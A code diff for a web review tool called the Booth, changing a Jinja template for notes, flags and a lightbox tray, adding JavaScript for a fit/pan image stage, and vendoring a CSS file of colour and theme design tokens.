<form class="mark-form" method="post" action="/b/{{ name_url }}/answer" data-inplace>
|
||||
{# The field is still `ask`: inline fragments in reports the operator
|
||||
has already published POST that name, and breaking every landed
|
||||
verbatim report to tidy a form field is not a trade worth making. #}
|
||||
@@ -83,6 +89,7 @@
|
||||
{# On the standalone page, come back HERE — the booth's own page is a
|
||||
verbatim report that cannot show the recorded judgment. #}
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
{% if back_view %}<input type="hidden" name="back" value="view"><input type="hidden" name="f" value="{{ back_view }}">{% endif %}
|
||||
{% for q in a.questions %}
|
||||
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
|
||||
{% set qa = a.answer.answers.get(q.key) if (a.answer and a.multi) else a.answer %}
|
||||
@@ -117,25 +124,52 @@
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
{% if not picks_only %}
|
||||
{# FLAGS come right after the picks. On the lightbox (`tray` defined) they
|
||||
render as the TRAY: the flagged items in SET order — by tile number, the
|
||||
declared R2 change from the click order below — each the original shown
|
||||
small, blurred if the item is. The standalone marks page has no item
|
||||
records, so it keeps the list, in `(created, id)` order. #}
|
||||
{% if tray is defined %}{% if tray %}
|
||||
{# In the lightbox the tray and the notes FOLD on a narrow screen (R2 C5):
|
||||
a closed <details>, which base.html shows open-and-summary-less above
|
||||
1000px with no script. Below it, the question sits above the set and the
|
||||
tray and notes are one tap away instead of burying it. #}
|
||||
<details class="v-fold">
|
||||
<summary class="v-fold-head">✔ flagged · {{ tray|length }}</summary>
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ tray|length }} item{{ '' if tray|length == 1 else 's' }} · in set order</span>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
</article>
|
||||
<div class="tray">
|
||||
{% for it in tray %}
|
||||
<a class="tray-item{% if it.blurred %} is-blurred{% endif %}" href="view?f={{ it.url }}" title="{{ it.name }}">
|
||||
{%- if it.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="">{% else %}<span class="tray-kind">{{ it.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">#{{ "%0*d"|format(ord_width, it.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
|
||||
{% if flags %}
|
||||
</div>
|
||||
</article>
|
||||
</details>
|
||||
{% endif %}
|
||||
{% if orphan_flags %}
|
||||
<article class="mark mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ orphan_flags|length }} on files no longer in this booth</span>
|
||||
</header>
|
||||
<ul class="orphan-flags">
|
||||
{% for m in orphan_flags %}
|
||||
<li><span class="mono">{{ m.target }}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button type="submit" class="mark-x" title="withdraw this flag">×</button>
|
||||
</form></li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</article>
|
||||
{% endif %}
|
||||
{% elif flags %}
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
@@ -149,11 +183,34 @@
|
||||
</article>
|
||||
{% endif %}
|
||||
|
||||
{% set fold_notes = tray is defined and notes %}
|
||||
{% if fold_notes %}<details class="v-fold"><summary class="v-fold-head">notes · {{ notes|length }}</summary>{% endif %}
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
</article>
|
||||
{% endfor %}
|
||||
{% if fold_notes %}</details>{% endif %}
|
||||
|
||||
|
||||
{# The operator volunteering a remark, which before marks had no mechanism at
|
||||
all — this is the direction that was running through chat. #}
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note">
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<textarea name="text" rows="2" placeholder="a note on this booth, for the session that posted it"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
</section>
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
{# THE STAGE MACHINERY (r2c, shared by R3). One copy, behind a stated
|
||||
interface, used by the review (one stage) and compare (two). It DEFINES two
|
||||
things and binds nothing by itself:
|
||||
|
||||
BoothMode.bind({toggle, fit, one, onChange}) page level, once
|
||||
BoothStage.attach(stageEl, {img, onSettle}) once per stage
|
||||
|
||||
A page binds BoothMode ONLY when at least one of its stages is an image (the
|
||||
review's rule): two videos get no toggle. No key is bound here — the review
|
||||
gains none, and compare's `Z` is compare's own (r3 C4, INV-6). No
|
||||
ResizeObserver here either: each page owns its own, so the review's stays in
|
||||
view.html with its mutation row. #}
|
||||
<script>
|
||||
/* The mode is ONE class on <html>, `stage-one` (absent = Fit), set by the
|
||||
head script before any stage existed. This owns the class, the pressed
|
||||
state, the storage writes and the cross-tab listener. It never raises:
|
||||
storage that throws costs the memory, never the click. */
|
||||
var BoothMode = {
|
||||
bind: function (o) {
|
||||
var d = document.documentElement;
|
||||
var toggle = o.toggle, bFit = o.fit, bOne = o.one;
|
||||
var onChange = o.onChange || function () {};
|
||||
var show = function () {
|
||||
var one = d.classList.contains('stage-one');
|
||||
bFit.classList.toggle('on', !one);
|
||||
bOne.classList.toggle('on', one);
|
||||
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');
|
||||
bOne.setAttribute('aria-pressed', one ? 'true' : 'false');
|
||||
};
|
||||
/* The click applies to the page first and is remembered second: storage
|
||||
that throws costs the memory, never the click. */
|
||||
var setMode = function (one) {
|
||||
d.classList.toggle('stage-one', one);
|
||||
try {
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
|
||||
} catch (e) {}
|
||||
show();
|
||||
onChange();
|
||||
};
|
||||
toggle.hidden = false;
|
||||
show();
|
||||
/* A mode chosen in another tab moves this one (the theme's rule). */
|
||||
window.addEventListener('storage', function (e) {
|
||||
if (e.key !== 'booth.fit' && e.key !== null) return;
|
||||
var one = false;
|
||||
try { one = localStorage.getItem('booth.fit') === 'one'; } catch (x) {}
|
||||
d.classList.toggle('stage-one', one);
|
||||
show();
|
||||
onChange();
|
||||
});
|
||||
bFit.addEventListener('click', function () { setMode(false); });
|
||||
bOne.addEventListener('click', function () { setMode(true); });
|
||||
return {
|
||||
setMode: setMode,
|
||||
flip: function () { setMode(!d.classList.contains('stage-one')); }
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
/* One stage: whether its picture can pan, and DRAG TO PAN (r2c S4). Returns
|
||||
{settle, pannable}; `settle` is the stage's own settle, then the page's
|
||||
`onSettle` (the review places its arrows there). */
|
||||
var BoothStage = {
|
||||
attach: function (stage, o) {
|
||||
var d = document.documentElement;
|
||||
var img = o.img || null;
|
||||
var onSettle = o.onSettle || function () {};
|
||||
function pannable() {
|
||||
var can = !!img && d.classList.contains('stage-one') &&
|
||||
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);
|
||||
stage.classList.toggle('can-pan', can);
|
||||
return can;
|
||||
}
|
||||
function settle() { pannable(); onSettle(); }
|
||||
if (!img) return {settle: settle, pannable: pannable};
|
||||
|
||||
img.addEventListener('load', settle);
|
||||
if (img.complete) settle();
|
||||
|
||||
/* The picture follows the pointer, a press that moves under 4px is not a
|
||||
drag, and a press on a control inside the stage keeps its click. The
|
||||
picture cannot be dragged away. */
|
||||
stage.addEventListener('dragstart', function (e) { e.preventDefault(); });
|
||||
var drag = null;
|
||||
stage.addEventListener('pointerdown', function (e) {
|
||||
if (e.button !== 0 || !pannable()) return;
|
||||
/* a press on the stage's own scrollbar is the scrollbar's, not a pan
|
||||
(heid bug-hunt, groa: the pan fought the thumb, backwards) */
|
||||
var r = stage.getBoundingClientRect();
|
||||
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
|
||||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;
|
||||
/* nothing interactive lives in a stage today (its reveal sits over
|
||||
it); this keeps a future control's click its own */
|
||||
if (e.target.closest && e.target.closest('button, a, input, textarea, select, summary')) return;
|
||||
drag = {x: e.clientX, y: e.clientY, l: stage.scrollLeft, t: stage.scrollTop, on: false, id: e.pointerId};
|
||||
});
|
||||
stage.addEventListener('pointermove', function (e) {
|
||||
if (!drag || e.pointerId !== drag.id) return;
|
||||
/* No button held: the press ended where the stage could not hear it
|
||||
(released outside before the drag began). Never pan on a hover. */
|
||||
if (!(e.buttons & 1)) { endDrag(); return; }
|
||||
var dx = e.clientX - drag.x, dy = e.clientY - drag.y;
|
||||
if (!drag.on) {
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */
|
||||
drag.on = true;
|
||||
stage.classList.add('is-grabbing');
|
||||
try { stage.setPointerCapture(drag.id); } catch (x) {}
|
||||
}
|
||||
stage.scrollLeft = drag.l - dx;
|
||||
stage.scrollTop = drag.t - dy;
|
||||
e.preventDefault();
|
||||
});
|
||||
function endDrag() {
|
||||
if (drag && drag.on) stage.classList.remove('is-grabbing');
|
||||
drag = null;
|
||||
}
|
||||
stage.addEventListener('pointerup', endDrag);
|
||||
stage.addEventListener('pointercancel', endDrag);
|
||||
return {settle: settle, pannable: pannable};
|
||||
}
|
||||
};
|
||||
</script>
|
||||
@@ -0,0 +1,375 @@
|
||||
/* SVOS tokens — VENDORED BY COPY from design-systems
|
||||
palettes/svos/colors.css + svos-theme.css @ ed2f8d8. Do not hand-edit values;
|
||||
re-vendor from the source. The only transform is SCOPING: SVOS selects its
|
||||
four themes by [data-theme]; the Booth follows the OS unless the viewer
|
||||
forces a theme (the top-bar toggle sets data-theme on <html>). So light
|
||||
applies when the OS asks and dark is not forced, or when light is forced;
|
||||
high contrast follows whichever theme is in effect. No JS, no attribute:
|
||||
exactly the OS. Semantic tokens only in the Booth layer below — never a
|
||||
primitive, never a raw hex. */
|
||||
:root {
|
||||
--graphite-10: oklch(0.17 0.01 250);
|
||||
--graphite-15: oklch(0.21 0.01 248);
|
||||
--graphite-20: oklch(0.255 0.011 246);
|
||||
--graphite-25: oklch(0.31 0.012 244);
|
||||
--graphite-30: oklch(0.37 0.012 242);
|
||||
--graphite-40: oklch(0.46 0.012 238);
|
||||
--graphite-50: oklch(0.55 0.011 234);
|
||||
--graphite-60: oklch(0.64 0.01 230);
|
||||
--graphite-65: oklch(0.69 0.009 228);
|
||||
--graphite-70: oklch(0.73 0.009 226);
|
||||
--graphite-75: oklch(0.79 0.009 224);
|
||||
--graphite-80: oklch(0.84 0.009 222);
|
||||
--graphite-90: oklch(0.91 0.008 216);
|
||||
--graphite-94: oklch(0.945 0.006 214);
|
||||
--graphite-96: oklch(0.965 0.005 212);
|
||||
--graphite-98: oklch(0.985 0.003 210);
|
||||
--green-deep: oklch(0.48 0.1 119);
|
||||
--green-base: oklch(0.66 0.15 119);
|
||||
--green-bright: oklch(0.8 0.185 119);
|
||||
--sage-deep: oklch(0.48 0.07 140);
|
||||
--sage-base: oklch(0.66 0.1 140);
|
||||
--sage-bright: oklch(0.8 0.1 140);
|
||||
--amber-deep: oklch(0.48 0.1 78);
|
||||
--amber-base: oklch(0.72 0.148 82);
|
||||
--amber-bright: oklch(0.84 0.17 86);
|
||||
--orange-deep: oklch(0.48 0.16 36);
|
||||
--orange-base: oklch(0.66 0.213 38.5);
|
||||
--orange-bright: oklch(0.8 0.12 44);
|
||||
--intel-deep: oklch(0.48 0.09 235);
|
||||
--intel-base: oklch(0.66 0.1 235);
|
||||
--intel-bright: oklch(0.8 0.08 235);
|
||||
--armed-green: var(--green-bright);
|
||||
--hazard-orange: var(--orange-base);
|
||||
--graphite-ink: var(--graphite-15);
|
||||
}
|
||||
|
||||
/* dark — the lair default, and data-theme="dark" */
|
||||
:root {
|
||||
color-scheme: dark;
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: var(--graphite-60);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-25);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
|
||||
/* art layer: voices, type, space, radii, motion, elevation, the devices */
|
||||
:root {
|
||||
/* voices — Plex speaks, mono records, Exan appears on the letterhead */
|
||||
--font-sans: "IBM Plex Sans", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
--font-mono: "JetBrains Mono", ui-monospace, "SF Mono", Menlo, Consolas, monospace;
|
||||
--font-brand: "Exan", "IBM Plex Sans", sans-serif;
|
||||
|
||||
/* type — 14px base, calm ladder */
|
||||
--size-display: 38px; --size-h1: 25px; --size-h2: 18px; --size-h3: 15px;
|
||||
--size-body: 14px; --size-sm: 13px; --size-caption: 12px;
|
||||
--size-micro: 11px; --size-mono: 12.5px;
|
||||
--tracking-display: -0.02em; --tracking-h: -0.01em; --tracking-caps: 0.12em;
|
||||
--leading-body: 1.55; --leading-tight: 1.12;
|
||||
|
||||
/* spacing — 4px base, roomier than an ops console has any right to be */
|
||||
--space-1: 4px; --space-2: 8px; --space-3: 12px; --space-4: 16px;
|
||||
--space-5: 20px; --space-6: 24px; --space-8: 32px; --space-12: 48px;
|
||||
--space-16: 64px; --space-24: 96px;
|
||||
|
||||
/* radii — calm 8/12; the Bureau stamps square off at 3 */
|
||||
--radius-sm: 3px; --radius-md: 6px; --radius-lg: 8px;
|
||||
--radius-xl: 12px; --radius-pill: 999px;
|
||||
|
||||
/* motion — unhurried decel; nothing loops, nothing bounces */
|
||||
--ease-out: cubic-bezier(0.16, 1, 0.3, 1);
|
||||
--dur-1: 120ms; --dur-2: 200ms; --dur-3: 300ms;
|
||||
|
||||
/* elevation (dark default: heavier, cool) */
|
||||
--shadow-sm: 0 1px 2px rgb(0 0 0 / 0.35);
|
||||
--shadow-md: 0 4px 14px rgb(0 0 0 / 0.4);
|
||||
--shadow-lg: 0 14px 36px rgb(0 0 0 / 0.5);
|
||||
|
||||
/* device 2 — the hazard stripe (irreversible actions ONLY) */
|
||||
--hazard-alt: color-mix(in oklab, var(--danger) 25%, var(--surface-sunken));
|
||||
--hazard-stripe: repeating-linear-gradient(-45deg,
|
||||
var(--danger) 0 8px, var(--hazard-alt) 8px 16px);
|
||||
|
||||
/* device 3 — the armed glow (live power ONLY) */
|
||||
--glow-armed: 0 0 12px color-mix(in oklab, var(--accent) 40%, transparent);
|
||||
}
|
||||
|
||||
/* light: the OS asks and the viewer has not forced dark ... */
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
}
|
||||
|
||||
/* ... or the viewer forced light. Same declarations as above, by construction. */
|
||||
:root[data-theme="light"] {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: more) {
|
||||
:root {
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: oklch(0.7142 0.0085 230);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-40);
|
||||
--border-strong: var(--graphite-50);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
}
|
||||
|
||||
/* light high contrast: the OS light case ... */
|
||||
@media (prefers-contrast: more) and (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
/* ... and the forced light case. */
|
||||
@media (prefers-contrast: more) {
|
||||
:root[data-theme="light"] {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
+1261
-502
File diff suppressed because it is too large
Load Diff
+212
-45
@@ -1,26 +1,35 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_provenance.html" import provenance %}
|
||||
